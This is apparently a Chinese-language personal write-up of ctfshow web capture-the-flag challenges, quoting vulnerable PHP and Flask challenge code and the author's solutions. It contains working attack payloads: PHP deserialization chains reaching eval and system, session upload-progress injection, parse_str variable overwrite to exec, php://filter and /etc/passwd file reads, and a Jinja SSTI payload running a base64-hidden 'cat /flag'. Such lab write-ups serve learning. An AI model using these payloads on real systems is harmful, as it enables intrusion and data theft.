闲来无事,做点web练练手,感觉web好有意思。本来做polar的题目呢,太卡了,索性来了ctf show
新手杯
这个看名字很适合我这样的新手打
easy_eval
php
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
if(isset($code)){
$code = str_replace("?","",$code);
eval("?>".$code);
}
这道题关闭了一个小标签。
我们可以用script标签<script language="php">system("ls /")</script>
剪刀石头布
看源码这部分:
if ($result=="You Win"){
$_SESSION['win']+=1;
} else {
$_SESSION['win']=0;
}
很明显是通过win这个参数来决定是否提供flag。思路卡住了
看大佬博客:CTFSHOW新手杯WEB方向部分WP前几天做了几个CTFSHOW新人杯的题目,感觉题目还挺好玩的,于是写了几个WEB题 - 掘金
原来是session反序列化,利用PHP_SESSION_PLOAD_PROGRASS进行session包含,模拟session生成。
原代码含有一个destruct方法,自然而然想到反序列化调用,在那里有反序列化的入口点呢?
其实观察到session.serialize_handler = php,也就是:(来源于豆包)
- 存储时 :PHP 把
$_SESSION里的键值对,按键名|序列化后的键值的格式写入 SESSION 文件;比如$_SESSION['user'] = 'test',写入文件的内容是:user|s:4:"test"; - 读取时 :PHP 读取 SESSION 文件内容,按
|分割成「键名」和「键值」,只对|后面的键值部分做反序列化 ,然后赋值给$_SESSION[键名]。
那就好办了。先构造恶意数据:
php
<?php
class Game
{
public $log;
public function __construct()
{
$this->log = '/var/www/html/flag.php';
}
}
$a = new Game();
echo serialize($a);
//O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}
利用session文件包含的恶意网址:
html
<!doctype html>
<html>
<body>
<form action="https://bf1e01d0-02e6-4e96-b6c6-e181414a89a8.challenge.ctf.show/" method="POST"
enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>
回显就是flag:

repairman
观察url后面有一个mod参数,修改一下看看。
php
Your mode is the guest!hello,the repairman! <?php
error_reporting(0);
session_start();
$config['secret'] = Array();
include 'config.php';
if(isset($_COOKIE['secret'])){
$secret =& $_COOKIE['secret'];
}else{
$secret = Null;
}
if(empty($mode)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query']);
if(empty($mode)) {
echo 'Your mode is the guest!';
}
}
function cmd($cmd){
global $secret;
echo 'Sucess change the ini!The logs record you!';
exec($cmd);
$secret['secret'] = $secret;
$secret['id'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['secret'] = $secret;
}
if($mode == '0'){
//echo var_dump($GLOBALS);
if($secret === md5('token')){
$secret = md5('test'.$config['secret']);
}
switch ($secret){
case md5('admin'.$config['secret']):
echo 999;
cmd($_POST['cmd']);
case md5('test'.$config['secret']):
echo 666;
$cmd = preg_replace('/[^a-z0-9]/is', 'hacker',$_POST['cmd']);
cmd($cmd);
default:
echo "hello,the repairman!";
highlight_file(__FILE__);
}
}elseif($mode == '1'){
echo '</br>hello,the user!We may change the mode to repaie the server,please keep it unchanged';
}else{
header('refresh:5;url=index.php?mode=1');
exit;
}
应该是需要调用一个cmd函数,它的过滤比较严格。那只能考虑使用admin的cmd了。
这里应该是利用PHP的变量覆盖漏洞。让来自于cookie的secret的值等于这个:md5('admin'.$config['secret'])
可以看到这个函数:url = parse_url(_SERVER['REQUEST_URI']);
parse_str($url['query']);
看了其他大佬wp:ctfshow新手杯repairman(parse_str覆盖变量+传参数组) - hithub - 博客园可以利用变量覆盖漏洞。可以参考这个帖子:干货|一文带你了解PHP变量覆盖 - FreeBuf网络安全行业门户

虽说成功但是没有回显。可以尝试写一个一句话木马,我懒得搞了,直接将flag内容写入本地文件算了。这里用cat config.php>/1.txt
用yakit改方法不成功,用hackbar成了

baby_pickle
传参name=999回显出来了。

那说明这里很可能存在模板注入,测试半天没看到,原来是还有一个源码忘记下载了,汗!
python
# Author:
# Achilles
# Time:
# 2022-9-20
# For:
# ctfshow
import base64
import pickle, pickletools
import uuid
from flask import Flask, request
app = Flask(__name__)
id = 0
flag = "ctfshow{" + str(uuid.uuid4()) + "}"
class Rookie():
def __init__(self, name, id):
self.name = name
self.id = id
@app.route("/")
def agent_show():
global id
id = id + 1
if request.args.get("name"):
name = request.args.get("name")
else:
name = "new_rookie"
new_rookie = Rookie(name, id)
try:
file = open(str(name) + "_info", 'wb')
info = pickle.dumps(new_rookie, protocol=0)
info = pickletools.optimize(info)
file.write(info)
file.close()
except Exception as e:
return "error"
with open(str(name)+"_info", "rb") as file:
user = pickle.load(file)
message = "<h1>欢迎来到新手村" + user.name + "</h1>\n<p>" + "只有成为大菜鸡才能得到flag" + "</p>"
return message
@app.route("/dacaiji")
def get_flag():
name = request.args.get("name")
with open(str(name)+"_info", "rb") as f:
user = pickle.load(f)
if user.id != 0:
message = "<h1>你不是大菜鸡</h1>"
return message
else:
message = "<h1>恭喜你成为大菜鸡</h1>\n<p>" + flag + "</p>"
return message
@app.route("/change")
def change_name():
name = base64.b64decode(request.args.get("name"))
newname = base64.b64decode(request.args.get("newname"))
file = open(name.decode() + "_info", "rb")
info = file.read()
print("old_info ====================")
print(info)
print("name ====================")
print(name)
print("newname ====================")
print(newname)
info = info.replace(name, newname)
print(info)
file.close()
with open(name.decode()+ "_info", "wb") as f:
f.write(info)
return "success"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
以上是源码,可以看到我们需要get_flag必须得保证user_id是大菜鸡也就是0。
根据自己写一个代码,发现二者区别很简单:这里需要注意name被序列化进去。方便我们了,本身程序也是需要name去找对应的文件的。

就是这里的I0和I2的区别,现在用cyberchef base64一下。调用change接口交换即可.500错误就是输错了

这里简单介绍一下payload:
change?name=base64(name)&newname=base64(name以后的)
base的时候cyberchef有一些空白红色报错的干扰字符要去除,会干扰base结果
然后访问getflag即可

简单的数据分析
根据主页提示访问txt得到python代码
python
D = random.randint(100, 200)
pData = [numpy.random.random(D)*100,numpy.random.random(D)*100,numpy.random.random(D)*100]
try:
data = request.form.getlist('data[]')
data = list(map(float,data))
data = numpy.array(data)
except:
msg="数据转换失败"
try:
distance =[numpy.linalg.norm(A-data) for A in pData]
avgdist = numpy.mean(numpy.abs(distance - numpy.mean(distance))**2)
if avgdist<0.001:
msg= flag
else:
msg= f"您的数据与三个聚类中心的欧拉距离分别是<br><br>{distance}均方差为:{avgdist}"
except:
msg="未提交数据或数据维度有误"
这他妈不会是密码题吧,我是有点看不懂,操
发给豆包分析下算法,果然靠不住
WriteUps/Y-2022/ctfshow 新手杯#CTFShow平台#Solo#1/readme.md at main · GhostFrankWu/WriteUps
观察,传参data[]越大方差越小,输入非常非常大的数字就行了。
但是写的话好感动,摘抄一下:
python
如果我没有猜错的话,
你一定使用了大量的数据进行了拟合,
你可能使用了人工智能的工具。
不知道你有没有想过,
在数据如此透明的今天
在信息泄露层出不穷的现在
就在此时
就在此刻
我们到底还能守护住多少秘密?
能在这场比赛周走到这一步的朋友
请收下来自萌新阿狸的敬意。
ctfshow{ef169de3-f62c-48b2-a5d8-41304a3a18b4}
未来的路,很长
未来的风险,很多
但无需绝望
因为有更多的朋友在一路同行
也有有更多工具将为我们提供帮助
让我们心怀期许,保持微笑。
年CTF
新年必须打年CTF
除夕
是一道PHP特性的考点,这是弱类型比较。传一个浮点数就行

初三
代码被下划线搞得可读性非常差,我们放在sumline text打开,替换下划线为字母

首先需要知道PHP 中 {} 和 [] 在变量 / 数组访问时是等价的,换行不影响语法
这里用到另一个知识:参考这个博客ctfshow_年ctf-wp_ctfshow年ctf-CSDN博客
phpinfo()和字符串弱比较结果是等于1的。
代码美化后如下所示:
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-01-19 10:31:36
# @Last Modified by: h1xa
# @Last Modified time: 2023-01-19 13:11:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
extract($_GET);
include "flag.php";
highlight_file(__FILE__);
$func=function($var1,$var2){
return $var1==$var2?$var2:$var1;
};
$$var1($func($_GET[$var2][$a][$e](),$flag));
说白了就是一个弱比较,然后借助$$调用函数,这一步还得按照原来的下划线来。
注意到题目的传参:
?=echo&=a&___=b&_____=c&a[b][c]=print
这里就改几个值即可,拿下

初六
依旧是反序列化的题目。
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-01-18 08:46:07
# @Last Modified by: h1xa
# @Last Modified time: 2023-01-18 11:19:09
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
include "flag.php";
class happy2year{
private $secret;
private $key;
function __wakeup(){
$this->secret="";
}
function __call($method,$argv){
return call_user_func($this->key, array($method,$argv));
}
function getSecret($key){
$key=$key?$key:$this->key;
return $this->createSecret($key);
}
function createSecret($key){
return base64_encode($this->key.$this->secret);
}
function __get($arg){
global $flag;
$arg="get".$arg;
$this->$arg = $flag;
return $this->secret;
}
function __set($arg,$argv){
$this->secret=base64_encode($arg.$argv);
}
function __invoke(){
return $this->$secret;
}
function __toString(){
return base64_encode($this->secret().$this->secret);
}
function __destruct(){
$this->secret = "";
}
}
highlight_file(__FILE__);
error_reporting(0);
$data=$_POST['data'];
$key = $_POST['key'];
$obj = unserialize($data);
if($obj){
$secret = $obj->getSecret($key);
print("你提交的key是".$key."\n生成的secret是".$secret);
}
这位大佬讲解的非常详细:ctfshow 年ctf-CSDN博客
看外部函数,会调用getSecret,进而调用Creat。分析调用链,其实最关键的就是toString,它触发后会触发__call,随后调用_get,这里flag值被传递给没有的变量,所以调用set。然后就是我们的flag出来了
关键就是触发toString,我们可以利用外部代码,。给key传参即可
exp:
php
<?
class happy2year
{
private $secret;
private $key;
function __construct()
{
$this->key = $this;
}
}
$a = new happy2year();
echo urlencode(serialize($a));
防止被转义用urlencode
2023愚人杯
easy_flask
注册一个账号进去,因为题目提示flask了,自然想到session

确实可以解密出来,接下来就是seek密钥了,找到密钥后就能伪造。
登进去有一个learn按钮,点进去能看到源码,美滋滋看到key
伪造的payload:{"loggedin":true,"role":"admin","username":"admin"}

爆了一个接口:/download/?filename=fakeflag.txt,看看是不是SSRF
下载/etc/passwd能够下载。估计能实现任意文件下载.先下载本地的app.py文件看看(show接口可看到文件名)

发现敏感接口。利用__import__("os").popen("ls").read()执行命令即可
easy_class(未解决)
应该也是考察代码审计:
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-03-27 10:30:30
# @Last Modified by: h1xa
# @Last Modified time: 2023-03-28 09:28:35
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
namespace ctfshow;
class C{
const __REF_OFFSET_1 = 0x41;
const __REF_OFFSET_2 = 0x7b;
const __REF_OFFSET_3 = 0x5b;
const __REF_OFFSET_4 = 0x60;
const __REF_OFFSET_5 = 0x30;
const __REF_OFFSET_6 = 0x5f;
const __REF_SIZE__= 20;
const __REF_VAL_SIZE__= 50;
private $cursor=0;
private $cache;
private $ref_table=[];
function main(){
$flag = md5(file_get_contents("/flag"));
$this->define('ctfshow',self::__REF_VAL_SIZE__);
$this->define('flag',strlen($flag));
$this->neaten();
$this->fill('flag',$flag);
$this->fill('ctfshow',$_POST['data']);
if($this->read('ctfshow')===$this->read('flag')){
echo $flag;
}
}
private function fill($ref,$val){
rewind($this->cache);
fseek($this->cache, $this->ref_table[$ref]+23);
$arr = str_split($val);
foreach ($arr as $s) {
fwrite($this->cache, pack("C",ord($s)));
}
for ($i=sizeof($arr); $i < self::__REF_VAL_SIZE__; $i++) {
fwrite($this->cache, pack("C","\x00"));
}
$this->cursor= ftell($this->cache);
}
public static function clear($var){
;
}
private function neaten(){
$this->ref_table['_clear_']=$this->cursor;
$arr = str_split("_clear_");
foreach ($arr as $s) {
$this->write(ord($s),"C");
}
for ($i=sizeof($arr); $i < self::__REF_SIZE__; $i++) {
$this->write("\x00",'C');
}
$arr = str_split(__NAMESPACE__."\C::clear");
foreach ($arr as $s) {
$this->write(ord($s),"C");
}
$this->write(0x36d,'Q');
$this->write(0x30,'C');
for ($i=1; $i < self::__REF_SIZE__; $i++) {
$this->write("\x00",'C');
}
}
private function readNeaten(){
rewind($this->cache);
fseek($this->cache, $this->ref_table['_clear_']+self::__REF_SIZE__);
$f = $this->truncation(fread($this->cache, self::__REF_SIZE__-4));
$t = $this->truncation(fread($this->cache, self::__REF_SIZE__-12));
$p = $this->truncation(fread($this->cache, self::__REF_SIZE__));
call_user_func($f,$p);
}
private function define($ref,$size){
$this->checkRef($ref);
$r = str_split($ref);
$this->ref_table[$ref]=$this->cursor;
foreach ($r as $s) {
$this->write(ord($s),"C");
}
for ($i=sizeof($r); $i < self::__REF_SIZE__; $i++) {
$this->write("\x00",'C');
}
fwrite($this->cache,pack("v",$size));
fwrite($this->cache,pack("C",0x31));
$this->cursor= ftell($this->cache);
for ($i=0; $i < $size; $i++) {
$this->write("\x00",'a');
}
}
private function read($ref){
if(!array_key_exists($ref,$this->ref_table)){
throw new \Exception("Ref not exists!", 1);
}
if($this->ref_table[$ref]!=0){
$this->seekCursor($this->ref_table[$ref]);
}else{
rewind($this->cache);
}
$cref = fread($this->cache, 20);
$csize = unpack("v", fread($this->cache, 2));
$usize = fread($this->cache, 1);
$val = fread($this->cache, $csize[1]);
return $this->truncation($val);
}
private function write($val,$fmt){
$this->seek();
fwrite($this->cache,pack($fmt,$val));
$this->cursor= ftell($this->cache);
}
private function seek(){
rewind($this->cache);
fseek($this->cache, $this->cursor);
}
private function truncation($data){
return implode(array_filter(str_split($data),function($var){
return $var!=="\x00";
}));
}
private function seekCursor($cursor){
rewind($this->cache);
fseek($this->cache, $cursor);
}
private function checkRef($ref){
$r = str_split($ref);
if(sizeof($r)>self::__REF_SIZE__){
throw new \Exception("Refenerce size too long!", 1);
}
if(is_numeric($r[0]) || $this->checkByte($r[0])){
throw new \Exception("Ref invalid!", 1);
}
array_shift($r);
foreach ($r as $s) {
if($this->checkByte($s)){
throw new \Exception("Ref invalid!", 1);
}
}
}
private function checkByte($check){
if(ord($check) <=self::__REF_OFFSET_5 || ord($check) >=self::__REF_OFFSET_2 ){
return true;
}
if(ord($check) >=self::__REF_OFFSET_3 && ord($check) <= self::__REF_OFFSET_4
&& ord($check) !== self::__REF_OFFSET_6){
return true;
}
return false;
}
function __construct(){
$this->cache=fopen("php://memory","wb");
}
public function __destruct(){
$this->readNeaten();
fclose($this->cache);
}
}
highlight_file(__FILE__);
error_reporting(0);
$c = new C;
$c->main();
参考文章:2023CTFSHOW愚人杯WEB部分WP | Lanb0's blog|一个默默无闻的网安爱好者
猛地一看介绍类似于pwn的栈溢出思路。
easy_php
也是一个反序列化,但是不能以O或者a开头
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-03-24 10:16:33
# @Last Modified by: h1xa
# @Last Modified time: 2023-03-25 00:25:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfshow{
public function __wakeup(){
die("not allowed!");
}
public function __destruct(){
system($this->ctfshow);
}
}
$data = $_GET['1+1>2'];
if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}
?>
那就是说明存在正则过滤。如何破局?看了php反序列化进阶(绕过篇)!wakeup or 正则怎么绕过?全网最详细!小白0到1看这篇就够了!_php反序列化绕过-CSDN博客
学到了用O:+4绕过。这个正号是可选的,加不加不影响,刚好可以过滤正则表达式,但是这道题不适用
原来是有更加nb的绕过方式。具体见上,大意是利用原生类,能绕过wakeup,还能支持反序列化。
exp:
php
<?
class ctfshow
{
public $ctfshow = "ls /";
}
$a = new ArrayObject();
$a->a = new ctfshow();
echo (serialize($a));
这个 payload 的执行流程是:
- 反序列化
ArrayObject对象时,不会触发ctfshow类的__wakeup(因为__wakeup属于ctfshow类,只有反序列化ctfshow类本身才会触发); - 当脚本结束时,
ArrayObject和内部的ctfshow对象都会被销毁,触发ctfshow类的__destruct方法; - 最终执行
system($this->ctfshow),也就是cat /f*命令(匹配根目录下所有以f开头的文件,比如flag文件)。
暗网聊天室(暂未解决)
参考WP:CTFSHOW第三届愚人杯WP | CN-SEC 中文网
进入黑客商店,提示访问已被记载入日志,瞬间想到日志能否被利用。发现并不是
此外,右上角能进入一个RSA解密的页面,暂时不清楚有什么用。
访问robots.txt,其包含一个备份文件,得到一串代码,大概意思是访问api参数的地方,我们怀疑是SSRF,让他读取下题目提示的9999端口,注释里面包含3个公钥:
html
<!--你先好好看看自己私钥啥格式,别漏了"\n"
"public_key1": "-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvWX0ilEDcyyOQIsMRcLm
/q57I0pFlhrZk6KqLTt2tjzZEsC/AMhAskz/BX1lCSee4lAsz/qvBDHUrJe956Uu
qXnXbuu/iYusNzyrJyyHMKCO9xZ69H1EmEmpbMMw7/SVJVpsGQYL19/b9U6qLiGS
vZlH9mWeCPx2ticKzX811VcAzRclebbHCaiFk/a7vgDplE/k55SaitpOFtTNsxI6
NBSHSK/kgi5b5lg85luOpQj++wLvea6LiSI7BhvNNnHCVyBuJjwNGEinW2dcnNHr
fbPlQZqY4pDNcq9JNMIzAlj3pR8huupee8TvvDIo0jIQ62F5BpU1OSN+0M+LmLb7
awIDAQAB
-----END PUBLIC KEY-----", "
public_key2": "-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuaABEPKx8qkCXLGlS7Pb
o/jXoU0sgCaruOx/O33YJpxchADdfsqO8dZ5jR3gHkh+LWI9RYOKAhLbgd8q4tNz
tKWAqUR+dBRQNy9/0RkIh5Z0s3hiWgAfoS+VbPw0cOjfCTvK0tGFf1mJskzAegYY
KsyZ4lyHjVIhpNoKBklQcXVvCP3E+815OiTfNmzU0YNHb1HpQgHbIxlgbdH+cboW
jsbmQvwJrEDJsaEnWyUD1W2LqbV45rhziJV4ZH3tgz8oe/hukNI0qrrrYqING+p5
86wu1E8fQlTHmHkpPVOXFm2q/xSwAt1YimNMW3FNnBB+VoZn/JEQhF8/r5vqZEm9
vwIDAQAB
-----END PUBLIC KEY-----", "
public_key3": "-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsk3Azx2N8CRKANZ7EjuT
dKyIurzDLZJDanZ4VIIaunc5JgNhMKRF1uGXf1XKXsGtdqw7D2F3894pgDDdXKs8
lAswDfyZLQgh+u/kxalxzMF/pp/Q5a1s3ZhySBAqMwRVmjhfZSv66uOd8sEpZMOd
Qr1jnZNPDTSP1ICCBWZKqbEgPWCDA9k9JefOapeklGCYpVowgCzrF1Nadv98gOq9
ugAowTZwio0KDemmWIBfjGLzf8PUfzA1Dt4TU2ScsV4Bs1EW6uFcG8pa2chf70Kh
YJ/uNPrWiFoMuOFNtcCxrhQT2gcBdGbO/omicOKe8tPaCONNZsvrlGk+o+ZoZReL
7wIDAQAB
-----END PUBLIC KEY-----"-->
我们还需要拿到私钥才能逐个解密,现在点击右上角拦截插件,观察进一步提示:

根据这个页面的提示,实际上这个聊天室加密原理就是A的消息三层加密,逐个节点解开,最终获取明文。明文会发送给B的ip。现在看了大佬博客才知道,我们可以把自己的IP直接放到节点3那里,而不必要纠结于密钥分发。
在update接口,能找到服务器分发的一个密钥和IP,看来我们就是其中的一个节点。
而我一直迷惑不知道我是哪个节点,看图猛然发现标红了俩地方,看来我们是节点1.现在我打算自己写一个python脚本解答这个题目,当然最后报错不断,动用AI修复了脚本。这里RSA加密的位数等我不是特别理解,还需进一步巩固
整理下线索:
1.需要给下一个节点发送消息(request模块)(拦截模块的传递给下一个暴露了API)
2.盗用(复用)题目给出的密钥和RSA加密方式
3.伪造用户B的ip为咱们自己的(也就是shop页面提示的)
4.再次访问update API,看我们收到的消息。
exp:
easy_signin
给了一个滑稽.jpg。首先看看这个网站源码,并无信息,只是一个长长的base编码图片
将图片下载到本地,没有明显提示
观察URL,img参数会接受一个base64编码字符串,所以联想到SSRF漏洞。直接输入/flag的编码会报错

利用伪协议:php://filter/read=convert.base64-encode/resource=index.php读取源码,然后就拿到源码base64,解码即可
php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-03-27 10:30:30
# @Last Modified by: h1xa
# @Last Modified time: 2023-03-28 12:15:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$image=$_GET['img'];
$flag = "ctfshow{4d22b46b-59b5-4af2-9f5b-66b692e4367b}";
if(isset($image)){
$image = base64_decode($image);
$data = base64_encode(file_get_contents($image));
echo "<img src='data:image/png;base64,$data'/>";
}else{
$image = base64_encode("face.png");
header("location:/?img=".$image);
}
被遗忘的反序列化
这道题是利用反序列化思路。里面有不少类,我不太会搞序列化的题目,参考了以下WP:CTFshow愚人杯-被遗忘的反序列化 - Ssh1y - 博客园
php
<?php
# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");
class EeE{
public $text;
public $eeee;
public function __wakeup(){
if ($this->text == "aaaa"){
echo lcfirst($this->text);
}
}
public function __get($kk){
echo "$kk,eeeeeeeeeeeee";
}
public function __clone(){
$a = new cycycycy;
$a -> aaa();
}
}
class cycycycy{
public $a;
private $b;
public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
}
public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
}
class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
}
class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}
public function __destruct(){
echo $this->aaa;
}
public function __invoke(){
$this -> aaa = clone new EeE;
}
}
$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);
思路无外乎利用魔术方法和原生类。
以下类应该是我们的突破口,因为其有一个危险函数Eval,但是调用它得先拿到cipher函数,估计其在check.php
php
public function aaa()
{
$get = $_GET['get'];
$get = cipher($get);
if ($get === "p8vfuv8g8v8py") {
eval ($_POST["eval"]);
}
}
那还得想办法拿到check.php内容。恰好有一个file_get_content函数被调用,我们可以用这个读取check.php
php
public function __wakeup()
{
if (!preg_match("/php|63|\*|\?/i", $this->key)) {
$this->key = file_get_contents($this->file);
} else {
echo "不行哦";
}
}
这个正则表达式虽然对key做了限制,可惜我们读取的内容在this->file。因此无需大惊小怪,那么先利用这个wakeup读取文件吧。当然我们需要注意,这个key没法被echo出来,参考其他文章得知,实际上给一个引用即可,echo aaa的时候,aaa传参为key的引用就行,有点像C语言/
exp:
php
<?php
class w_wuw_w
{
public $aaa;
public $key;
public $file;
}
$a = new w_wuw_w();
$a->file = "php://filter/convert.base64-encode/resource=check.php";
$a->aaa =& $a->key;
echo serialize($a);
//O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";R:2;s:4:"file";s:53:"php://filter/convert.base64-encode/resource=check.php";}
hackbar搞一个AAAAAA请求头请求即可。然后得到回显如下:
php
<?php
function cipher($str)
{
if (strlen($str) > 10000) {
exit(-1);
}
$charset = "qwertyuiopasdfghjklzxcvbnm123456789";
$shift = 4;
$shifted = "";
for ($i = 0; $i < strlen($str); $i++) {
$char = $str[$i];
$pos = strpos($charset, $char);
if ($pos !== false) {
$new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);
$shifted .= $charset[$new_pos];
} else {
$shifted .= $char;
}
}
return $shifted;
}
可以看出其就是一个移位密码,可以简单写一个python还原它的算法:
说白了就是凯撒加密
python
def cipher_decode(str,shift):
result=''
des='qwertyuiopasdfghjklzxcvbnm123456789'
for i in range(0,len(str)):
old_index=(des.index(str[i])+shift+len(des))%len(des)
result+=des[old_index]
return result
if __name__=="__main__":
print(cipher_decode("p8vfuv8g8v8py",4))
#fe1ka1ele1efp
然后就可以着手构造RCE链条,需要调用漏洞函数aaa,就必须先触发__clone魔术方法,那就得先调用__invoke(),想要调用invoke就必须得调用toSring,刚好w_wuw_w的destruct方法能调用toSring
总结出来一句话就是,先利用w_wuw_w类的__destruct(),此时会调用gBoBg类的__toString,这时候会调用w_wu_w的__invoke()方法,这个方法紧接着会调用后门函数aaa(),只需要构造好每一步的参数即可。
刚开始exp构造没有删除俩私有属性,构造出来的exp不简洁还老是失败,后来删除后就成功了,真神奇,卧槽他么的
php
<?php
class w_wuw_w
{
public $aaa;
public $key;
public $file;
}
class gBoBg
{
public $name;
public $file = 2;
public $coos;
}
class EeE
{
public $text;
public $eeee;
}
class cycycycy
{
public $a;
}
$b = new gBoBg();
$c = new cycycycy();
$a = new w_wuw_w();//起点,触发destruct
$d = new EeE();
$b->coos = $a;//触发invoke
$a->aaa = $b;//触发toString
echo serialize($a);
看了高手的思路,问了豆包,知道了利用原生类获取txt文件:
GlobIterator 是 PHP 内置的迭代器类,核心功能是遍历匹配指定通配符规则的文件 / 目录,比如:
new GlobIterator("/*.txt"):遍历根目录下所有.txt文件;new GlobIterator("./*.txt"):遍历当前目录 下所有.txt文件(.代表当前目录)。
关键特性:GlobIterator 实现了 __toString() 方法,当用 echo 输出这个对象时,会自动打印匹配到的第一个文件名------ 这正是我们需要的 "获取 txt 文件名" 的核心。
但是这道题获取check.php也是可以做出来的!
easy_ssti
网页源码注释提示源码在app.zip
python
from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)
@app.route('/hello/')
def hello(name=None):
return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):
if "ge" in name:
return render_template_string('hello %s' % name)
elif "f" not in name:
return render_template_string('hello %s' % name)
else:
return 'Nonononon'
因此查询到接口是/hello/<format string>。这里可以考虑python模板注入了。先输入表达式看会不会被渲染,只要被{{}}包裹都能被渲染
输入payload1查看可用类:{{"".class.base.subclasses()}}
接下来找到索引,接着利用即可.这里参考了hello ctf,用的是 <class 'warnings.catch_warnings'>打的。

输入/会被当作目录。可以用编码绕过,我这里直接用request绕过了。
参考了CTFSHOW 愚人杯easy_ssti_ctfshow easyssti-CSDN博客
{{''.class.base.subclasses()[213].init.globals.builtins["eval"]('import("os").popen("`echo Y2F0IC9mbGFn|base64 -d`").read()')}}
payload在上面